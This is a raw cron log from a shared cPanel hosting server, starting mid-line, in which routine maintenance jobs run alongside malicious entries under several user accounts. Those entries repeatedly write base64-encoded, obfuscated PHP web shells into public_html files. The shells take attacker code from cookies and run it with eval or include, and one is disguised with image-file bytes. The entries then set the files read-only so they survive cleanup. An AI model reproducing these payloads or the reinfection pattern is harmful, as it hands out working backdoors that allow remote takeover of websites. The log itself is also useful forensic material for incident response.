WR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:37:01 medusa CROND[27039]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:37:01 medusa CROND[27041]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:37:01 medusa CROND[27045]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:37:01 medusa CROND[27051]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:38:01 medusa CROND[31919]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:38:01 medusa CROND[31921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:38:01 medusa CROND[31922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:38:01 medusa CROND[31923]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:38:01 medusa CROND[31924]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:38:01 medusa CROND[31925]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:38:01 medusa CROND[31927]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:38:01 medusa CROND[31929]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:38:01 medusa CROND[31930]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:38:01 medusa CROND[31932]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:38:01 medusa CROND[31935]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:38:01 medusa CROND[31947]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:38:01 medusa CROND[31945]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:39:01 medusa CROND[6328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:39:01 medusa CROND[6505]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:39:01 medusa CROND[6509]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:39:01 medusa CROND[6515]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:39:01 medusa CROND[6518]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:39:01 medusa CROND[6519]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:39:01 medusa CROND[6520]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:39:01 medusa CROND[6521]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 05:39:01 medusa CROND[6522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:39:01 medusa CROND[6525]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:39:01 medusa CROND[6527]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:39:01 medusa CROND[6529]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:39:01 medusa CROND[6523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:39:01 medusa CROND[6548]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:40:01 medusa CROND[10928]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 05:40:01 medusa CROND[10929]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 05:40:01 medusa CROND[10957]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:40:02 medusa CROND[11148]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
